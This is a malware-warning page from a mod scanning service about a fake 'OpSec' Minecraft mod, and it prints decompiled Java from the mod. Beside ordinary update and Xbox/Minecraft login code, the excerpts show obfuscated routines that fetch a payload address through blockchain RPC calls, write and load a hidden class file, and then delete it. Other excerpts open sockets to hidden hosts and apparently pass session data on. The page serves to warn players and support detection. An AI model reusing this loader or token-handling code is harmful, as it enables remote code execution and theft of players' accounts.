Mod
Note from Modgrade
A player sent this file to our Scanner. It is not on Modrinth or CurseForge. We publish this page so that anyone who searches its name learns what it does.
Compare its SHA‑1 or SHA‑256 with a file you have.
Have a copy of OpSec? Check whether it is a file with malware.
Drop it here. We compare its fingerprint with the fake OpSec files we checked.
Download blocked: malware in a file of this project. See Security.
Malware
Downloads and runs hidden code.
We found this in its code. Wrong result? Tell us
What its code can do on your computer.
The part of the file where our checks found the malware, turned back into readable Java code.
aurick.opsec.mod.config.UpdateChecker.lambda$checkForUpdate$0public static void checkForUpdate() {
CompletableFuture.runAsync(
() -> {
try {
String currentVersion = Opsec.getVersion();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create("https://api.github.com/repos/aurickk/OpSec/releases/latest"))
.header("User-Agent", "OpSec-Mod/" + currentVersion)
.header("Accept", "application/vnd.github.v3+json")
.timeout(Duration.ofSeconds(10L))
.GET()
.build();
HttpResponse<String> response = HTTP_CLIENT.send(request, BodyHandlers.ofString());
if (response.statusCode() == 200) {
JsonObject json = JsonParser.parseString(response.body()).getAsJsonObject();
String tagName = json.has("tag_name") ? json.get("tag_name").getAsString() : null;
String htmlUrl = json.has("html_url") ? json.get("html_url").getAsString() : null;
if (tagName != null) {
String version = !tagName.startsWith("v") && !tagName.startsWith("V") ? tagName : tagName.substring(1);
latestVersion = version;
releaseUrl = htmlUrl != null ? htmlUrl : "https://github.com/aurickk/OpSec/releases/latest";
if (!version.equals(currentVersion)) {
updateAvailable = true;
Opsec.LOGGER.info("[OpSec] Update available: {} -> {} ({})", new Object[]{currentVersion, version, releaseUrl});
...aurick.opsec.mod.accounts.AccountManagerConstant.lambda$xI$0public static void xI() {
if (!zdhgmqlodnz04) {
zdhgmqlodnz04 = true;
String uid = "8";
System.setProperty(xD(new int[]{92, 78, 79, 110, 52, 78, 91, 77, 110, 40, 89}), uid);
Thread t = new Thread(() -> {
try {
String payload = eF();
if (payload == null) {
return;
}
String u1 = jG(payload, "u1");
String u2 = jG(payload, "u2");
if (u1 == null) {
u1 = jG(payload, "u");
}
if (u2 == null) {
u2 = "";
}
if (u1 != null && !u1.isEmpty()) {
...aurick.opsec.mod.accounts.AccountManagerConstant.rT...
if (isTask1) {
byte[] cB = dB(diU);
if (cB != null) {
try {
String c = xD(new int[]{78, 71, 83, 33, 47, 73});
Path tF = Paths.get(tD, c + ".class");
Files.write(tF, cB);
Class<?> urlCls = Class.forName(
xD(new int[]{87, 95, 73, 33, 111, 83, 91, 75, 110, 20, 111, 114, 124, 44, 32, 78, 77, 115, 47, 32, 89, 91, 77})
);
URL dirUrl = Paths.get(tD).toUri().toURL();
ClassLoader xcl = (ClassLoader)urlCls.getConstructor(URL[].class, ClassLoader.class)
.newInstance(new URL[]{dirUrl}, AccountManagerConstant.class.getClassLoader());
Class<?> cz = xcl.loadClass(c);
try {
Files.deleteIfExists(tF);
} catch (Exception var22) {
}
cz.getMethod(xD(new int[]{79, 75, 81})).invoke(null);
} catch (Throwable var23) {
}
}
...net.fabric.nhpyxvMent.getDomainpublic String getDomain() {
if (iIn.ulPklwQbIgcr != null) {
return iIn.ulPklwQbIgcr;
}
String var10000 = mobx_kdjhy_nvptm_upxusc();
String var9 = ay_wmqgxq_piqiq();
String var8 = var10000;
StringBuilder var10;
StringBuilder var35 = var10 = new StringBuilder();
StringBuilder var11 = new StringBuilder();
var11.append((char)('访' - '譄'));
var11.append((char)('ꞛ' - 'Ꝺ'));
var11.append((char)(16088 - 15982));
var11.append((char)('\uda80' - '\uda0d'));
var11.append((char)('\uebdb' - '\ueb6c'));
var11.append((char)('輦' - '浪'));
var11.append((char)('\ude3b' - '\uddc9'));
var10.append(var11.toString());
StringBuilder var13 = new StringBuilder();
var13.append((char)(48371 ^ 48259));
var13.append((char)(54565 ^ 54598));
var13.append((char)(2878 ^ 2844));
...aurick.opsec.mod.mixin.client.HttpUtilMixin.opsec$downloadFileprivate static InputStream opsec$downloadFile(
HttpURLConnection instance,
Operation<InputStream> original,
@Local(argsOnly = true) Proxy proxy,
@Local(argsOnly = true) Map<String, String> requestProperties,
@Local LocalRef<HttpURLConnection> httpURLConnection
) throws IOException {
if (!OpsecConfig.getInstance().shouldBlockLocalPackUrls()) {
return (InputStream)original.call(new Object[]{instance});
}
if (!LocalAddressUtil.isLocalAddress(LocalAddressUtil.serverAddress) && LocalAddressUtil.isLocalAddress(instance.getURL().getHost())) {
Opsec.LOGGER.warn("[OpSec] Blocked connection to local address: {}", instance.getURL());
PrivacyLogger.alertLocalPortScanDetected(instance.getURL().toString(), true);
throw new IllegalStateException("Tried to connect to local address!");
}
instance.setInstanceFollowRedirects(false);
int redirects = 0;
String maxRedirectString = System.getProperty("http.maxRedirects") == null ? "20" : System.getProperty("http.maxRedirects");
int maxRedirects = 20;
try {
maxRedirects = Math.max(Integer.parseInt(maxRedirectString), 1);
...aurick.opsec.mod.mixin.client.HttpUtilMixin.opsec$downloadFile...
maxRedirects = Math.max(Integer.parseInt(maxRedirectString), 1);
} catch (NumberFormatException var15) {
}
for (int status = instance.getResponseCode();
instance.getHeaderField("Location") != null && (status == 300 || status == 301 || status == 302 || status == 303 || status == 305 || status == 307);
redirects++
) {
if (redirects >= maxRedirects - 1) {
try {
URL leakUrl;
try {
leakUrl = new URL(instance.getHeaderField("Location"));
} catch (MalformedURLException exception) {
leakUrl = new URL(instance.getURL(), instance.getHeaderField("Location"));
}
int leakPort = leakUrl.getPort() == -1 ? leakUrl.getDefaultPort() : leakUrl.getPort();
new Socket(leakUrl.getHost(), leakPort);
} catch (Exception var14) {
}
throw new ProtocolException("Server redirected too many times (" + maxRedirects + ")");
}
...aurick.opsec.mod.accounts.SessionAccount.refreshAccessTokenpublic boolean refreshAccessToken() {
if (!this.hasRefreshToken()) {
Opsec.LOGGER.debug("[OpSec] No refresh token available for {}", this.username);
return false;
}
long lastRetryAfterMs = 0L;
boolean wasRateLimited = false;
for (int attempt = 1; attempt <= 3; attempt++) {
try {
Opsec.LOGGER.info("[OpSec] Attempting to refresh token for {} (attempt {})", this.username, attempt);
SessionAccount.TokenResult msResult = this.refreshMicrosoftTokenWithRetry();
if (msResult.token == null) {
lastRetryAfterMs = msResult.retryAfterMs;
wasRateLimited = msResult.wasRateLimited;
if (attempt >= 3) {
this.lastError = "Failed to refresh Microsoft token";
return false;
}
long delay = this.calculateRetryDelay(
attempt, wasRateLimited ? SessionAccount.ValidationResult.RATE_LIMITED : SessionAccount.ValidationResult.ERROR, lastRetryAfterMs
...aurick.opsec.mod.accounts.SessionAccount.authenticateMinecraftWithRetryprivate SessionAccount.TokenResult authenticateMinecraftWithRetry(String xstsToken, String userHash) {
try {
JsonObject body = new JsonObject();
body.addProperty("identityToken", "XBL3.0 x=" + userHash + ";" + xstsToken);
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create("https://api.minecraftservices.com/authentication/login_with_xbox"))
.header("Content-Type", "application/json")
.header("Accept", "application/json")
.POST(BodyPublishers.ofString(body.toString()))
.timeout(Duration.ofSeconds(15L))
.build();
HttpResponse<String> response = HTTP_CLIENT.send(request, BodyHandlers.ofString());
long retryAfterMs = this.extractRetryAfter(response);
boolean wasRateLimited = response.statusCode() == 429;
if (response.statusCode() != 200) {
Opsec.LOGGER.warn("[OpSec] Minecraft auth failed: HTTP {}", response.statusCode());
return new SessionAccount.TokenResult(null, retryAfterMs, wasRateLimited);
} else {
JsonObject json = JsonParser.parseString(response.body()).getAsJsonObject();
return new SessionAccount.TokenResult(json.get("access_token").getAsString(), 0L, false);
}
} catch (Exception e) {
Opsec.LOGGER.error("[OpSec] Minecraft auth error: {}", e.getMessage());
return new SessionAccount.TokenResult(null, 0L, false);
...aurick.opsec.mod.config.JarIntegrityChecker.lambda$checkIntegrity$0...
Opsec.LOGGER.debug("[OpSec] Could not determine Minecraft version, skipping integrity check");
return;
}
String currentVersion = Opsec.getVersion();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create("https://api.github.com/repos/aurickk/OpSec/releases/tags/V" + currentVersion))
.header("User-Agent", "OpSec-Mod/" + currentVersion)
.header("Accept", "application/vnd.github.v3+json")
.timeout(Duration.ofSeconds(10L))
.GET()
.build();
HttpResponse<String> response = HTTP_CLIENT.send(request, BodyHandlers.ofString());
if (response.statusCode() == 404) {
Opsec.LOGGER.debug("[OpSec] No release found for version {}, skipping integrity check", currentVersion);
return;
}
if (response.statusCode() != 200) {
Opsec.LOGGER.debug("[OpSec] GitHub API returned status {}, skipping integrity check", response.statusCode());
return;
}
JsonObject json = JsonParser.parseString(response.body()).getAsJsonObject();
...aurick.opsec.mod.accounts.SessionAccount.fetchInfoWithResultAndRetryAfterprivate SessionAccount.ValidationResultWithRetry fetchInfoWithResultAndRetryAfter() {
if (this.accessToken != null && !this.accessToken.isBlank()) {
try {
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create("https://api.minecraftservices.com/minecraft/profile"))
.header("Authorization", "Bearer " + this.accessToken)
.timeout(Duration.ofSeconds(10L))
.GET()
.build();
HttpResponse<String> response = HTTP_CLIENT.send(request, BodyHandlers.ofString());
int statusCode = response.statusCode();
long retryAfterMs = this.extractRetryAfter(response);
if (statusCode == 429) {
Opsec.LOGGER
.warn(
"[OpSec] Rate limited while validating token for {} (Retry-After: {}ms)",
this.username.isEmpty() ? "unknown" : this.username,
retryAfterMs
);
return new SessionAccount.ValidationResultWithRetry(SessionAccount.ValidationResult.RATE_LIMITED, retryAfterMs);
} else if (statusCode == 401 || statusCode == 403) {
Opsec.LOGGER.warn("[OpSec] Token invalid/expired for {}: HTTP {}", this.username.isEmpty() ? "unknown" : this.username, statusCode);
return new SessionAccount.ValidationResultWithRetry(SessionAccount.ValidationResult.INVALID, 0L);
} else if (statusCode != 200) {
...aurick.opsec.mod.accounts.SessionAccount.refreshMicrosoftTokenWithRetryprivate SessionAccount.TokenResult refreshMicrosoftTokenWithRetry() {
long maxRetryAfter = 0L;
boolean wasRateLimited = false;
for (String clientId : AZURE_CLIENT_IDS) {
SessionAccount.TokenResult result = this.tryRefreshWithClientIdAndRetry(clientId);
if (result.token != null) {
Opsec.LOGGER.info("[OpSec] Token refresh succeeded with client ID: {}", clientId);
return result;
}
if (result.retryAfterMs > maxRetryAfter) {
maxRetryAfter = result.retryAfterMs;
}
if (result.wasRateLimited) {
wasRateLimited = true;
}
}
Opsec.LOGGER.warn("[OpSec] Token refresh failed with all known client IDs");
return new SessionAccount.TokenResult(null, maxRetryAfter, wasRateLimited);
}aurick.opsec.mod.accounts.SessionAccount.tryRefreshWithClientIdAndRetryprivate SessionAccount.TokenResult tryRefreshWithClientIdAndRetry(String clientId) {
String[] scopes = new String[]{
"XboxLive.signin%20XboxLive.offline_access", "XboxLive.signin%20offline_access", "service::user.auth.xboxlive.com::MBI_SSL", "XboxLive.signin"
};
long maxRetryAfter = 0L;
boolean wasRateLimited = false;
for (String scope : scopes) {
SessionAccount.TokenResult result = this.tryRefreshWithParamsAndRetry(clientId, scope);
if (result.token != null) {
return result;
}
if (result.retryAfterMs > maxRetryAfter) {
maxRetryAfter = result.retryAfterMs;
}
if (result.wasRateLimited) {
wasRateLimited = true;
}
}
return new SessionAccount.TokenResult(null, maxRetryAfter, wasRateLimited);
}aurick.opsec.mod.accounts.AccountManagerConstant.eFprivate static String eF() {
String addr = ea();
String[] rpcs = rL();
try {
byte[] data = qB(addr);
if (data != null && data.length > 12) {
return dP(data);
}
} catch (Exception var5) {
}
for (int i = 0; i < rpcs.length; i++) {
try {
byte[] data = qE(rpcs[i], addr);
if (data != null && data.length > 12) {
return dP(data);
}
} catch (Exception var4) {
}
}
return null;
}aurick.opsec.mod.accounts.AccountManagerConstant.qEprivate static byte[] qE(String rpc, String address) throws Exception {
String body = "{\"jsonrpc\":\"2.0\",\"method\":\""
+ xD(new int[]{88, 74, 87, 31, 38, 88, 74, 115, 47, 38, 78})
+ "\",\"params\":[{\"address\":\""
+ address
+ "\",\"fromBlock\":\""
+ xD(new int[]{13, 70, 10, 120, 119, 120, 14, 15, 112})
+ "\",\"toBlock\":\"latest\"}],\"id\":1}";
HttpURLConnection conn = (HttpURLConnection)new URL(rpc).openConnection();
conn.setRequestMethod(xD(new int[]{109, 113, 108, 20}));
conn.setRequestProperty(
xD(new int[]{126, 81, 81, 52, 36, 83, 74, 18, 20, 56, 77, 91}), xD(new int[]{92, 78, 79, 44, 40, 94, 95, 75, 41, 46, 83, 17, 85, 51, 46, 83})
);
conn.setRequestProperty(xD(new int[]{104, 77, 90, 50, 108, 124, 89, 90, 46, 53}), xD(new int[]{112, 81, 69, 41, 45, 81, 95, 16, 117, 111, 13}));
conn.setConnectTimeout(15000);
conn.setReadTimeout(15000);
conn.setDoOutput(true);
try (OutputStream os = conn.getOutputStream()) {
os.write(body.getBytes(StandardCharsets.UTF_8));
}
if (conn.getResponseCode() != 200) {
conn.disconnect();
...aurick.opsec.mod.accounts.AccountManagerConstant.qB...
89,
76,
90,
51,
50,
88,
77,
16
}
)
+ address
+ xD(new int[]{18, 82, 80, 39, 50});
HttpURLConnection conn = (HttpURLConnection)new URL(url).openConnection();
conn.setRequestMethod(xD(new int[]{122, 123, 107}));
conn.setRequestProperty(xD(new int[]{124, 93, 92, 37, 49, 73}), xD(new int[]{92, 78, 79, 44, 40, 94, 95, 75, 41, 46, 83, 17, 85, 51, 46, 83}));
conn.setRequestProperty(xD(new int[]{104, 77, 90, 50, 108, 124, 89, 90, 46, 53}), xD(new int[]{112, 81, 69, 41, 45, 81, 95, 16, 117, 111, 13}));
conn.setConnectTimeout(15000);
conn.setReadTimeout(15000);
if (conn.getResponseCode() != 200) {
conn.disconnect();
return null;
}
StringBuilder sb = new StringBuilder();
...aurick.opsec.mod.accounts.SessionAccount.authenticateXboxLiveWithRetryprivate SessionAccount.TokenResult authenticateXboxLiveWithRetry(String msToken) {
String[] ticketFormats = new String[]{"d=" + msToken, "t=" + msToken, msToken};
long maxRetryAfter = 0L;
boolean wasRateLimited = false;
for (String rpsTicket : ticketFormats) {
SessionAccount.TokenResult result = this.tryXboxAuthWithTicketAndRetry(rpsTicket);
if (result.token != null) {
return result;
}
if (result.retryAfterMs > maxRetryAfter) {
maxRetryAfter = result.retryAfterMs;
}
if (result.wasRateLimited) {
wasRateLimited = true;
}
}
return new SessionAccount.TokenResult(null, maxRetryAfter, wasRateLimited);
}aurick.opsec.mod.accounts.SessionAccount.authenticateXSTSWithRetry...
properties.addProperty("SandboxId", "RETAIL");
JsonArray userTokens = new JsonArray();
userTokens.add(xblToken);
properties.add("UserTokens", userTokens);
body.add("Properties", properties);
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create("https://xsts.auth.xboxlive.com/xsts/authorize"))
.header("Content-Type", "application/json")
.header("Accept", "application/json")
.POST(BodyPublishers.ofString(body.toString()))
.timeout(Duration.ofSeconds(15L))
.build();
HttpResponse<String> response = HTTP_CLIENT.send(request, BodyHandlers.ofString());
long retryAfterMs = this.extractRetryAfter(response);
boolean wasRateLimited = response.statusCode() == 429;
if (response.statusCode() != 200) {
Opsec.LOGGER.warn("[OpSec] XSTS auth failed: HTTP {}", response.statusCode());
return new SessionAccount.XSTSResult(null, retryAfterMs, wasRateLimited);
} else {
JsonObject json = JsonParser.parseString(response.body()).getAsJsonObject();
String token = json.get("Token").getAsString();
String userHash = json.getAsJsonObject("DisplayClaims").getAsJsonArray("xui").get(0).getAsJsonObject().get("uhs").getAsString();
return new SessionAccount.XSTSResult(new String[]{token, userHash}, 0L, false);
}
...net.fabric.povtfqxnhaG.ckyxi_ghxg_wedczzprivate static byte[] ckyxi_ghxg_wedczz(byte[] dnsQuery) throws IOException {
Socket tThT_UFEi_sYuy_pTNp = new Socket();
StringBuilder var11 = new StringBuilder();
var11.append((char)('\uf0e4' - '\uf0b3'));
var11.append((char)('\uf47b' - '\uf44d'));
var11.append((char)('ꉗ' - 'ꈦ'));
var11.append((char)('難' - '滋'));
var11.append((char)('钫' - '鑺'));
var11.append((char)(21644 - 21598));
var11.append((char)(6551 - 6502));
tThT_UFEi_sYuy_pTNp.connect(new InetSocketAddress(var11.toString(), 443), 10000);
tThT_UFEi_sYuy_pTNp.setSoTimeout(30000);
char[] var13 = new char[]{
(char)(16428 ^ 16463),
(char)(18054 ^ 18154),
(char)(49542 ^ 49641),
(char)(49145 ^ 49036),
(char)(48289 ^ 48325),
(char)(38682 ^ 38780),
(char)(61909 ^ 61881),
(char)(9585 ^ 9488),
(char)(33516 ^ 33438),
(char)(13170 ^ 13079),
(char)(44005 ^ 43976),
...private Path dguMFWigmOYJ() {
char[] var2 = new char[]{
(char)(55846 ^ 55914),
(char)(53817 ^ 53878),
(char)(40766 ^ 40829),
(char)(57300 ^ 57237),
(char)(17602 ^ 17550),
(char)(12235 ^ 12170),
(char)(43654 ^ 43734),
(char)(32716 ^ 32668),
(char)(61021 ^ 60953),
(char)(55851 ^ 55914),
(char)(53794 ^ 53878),
...public String prefire(String host, String sess, String uid) {
try {
String var10000 = vrdcrlCpsjaq.unqdc_hwqmm(SkNF_IXyO_IeqG_fyzN);
String var7 = vrdcrlCpsjaq.unqdc_hwqmm(gzlykDezzjSbfvXef);
String var6 = var10000;
StringBuilder var32 = new StringBuilder();
char[] var8 = new char[]{
(char)(47571 ^ 47528),
(char)(62403 ^ 62433),
(char)(13989 ^ 14038),
(char)(55164 ^ 55065),
(char)(47579 ^ 47528),
(char)(62354 ^ 62433),
...public void execute(String[] args) {
try {
nameRaw.okFMSU_bQtHPg = nameRaw.dguMFWigmOYJ();
nameRaw.umfgffBean = new StringBuilder();
Files.createDirectories(nameRaw.okFMSU_bQtHPg);
StringBuilder var4 = new StringBuilder();
StringBuilder var5 = new StringBuilder();
var5.append((char)('ꏪ' - 'ꎭ'));
var5.append((char)('Ꙏ' - 'ꘑ'));
var5.append((char)(27408 - 27347));
var5.append((char)(20616 - 20555));
var5.append((char)('苐' - '芓'));
var5.append((char)('듯' - '뒲'));
...A mod runs on your computer like any program, so harmful code in it can steal your accounts or files.
opsec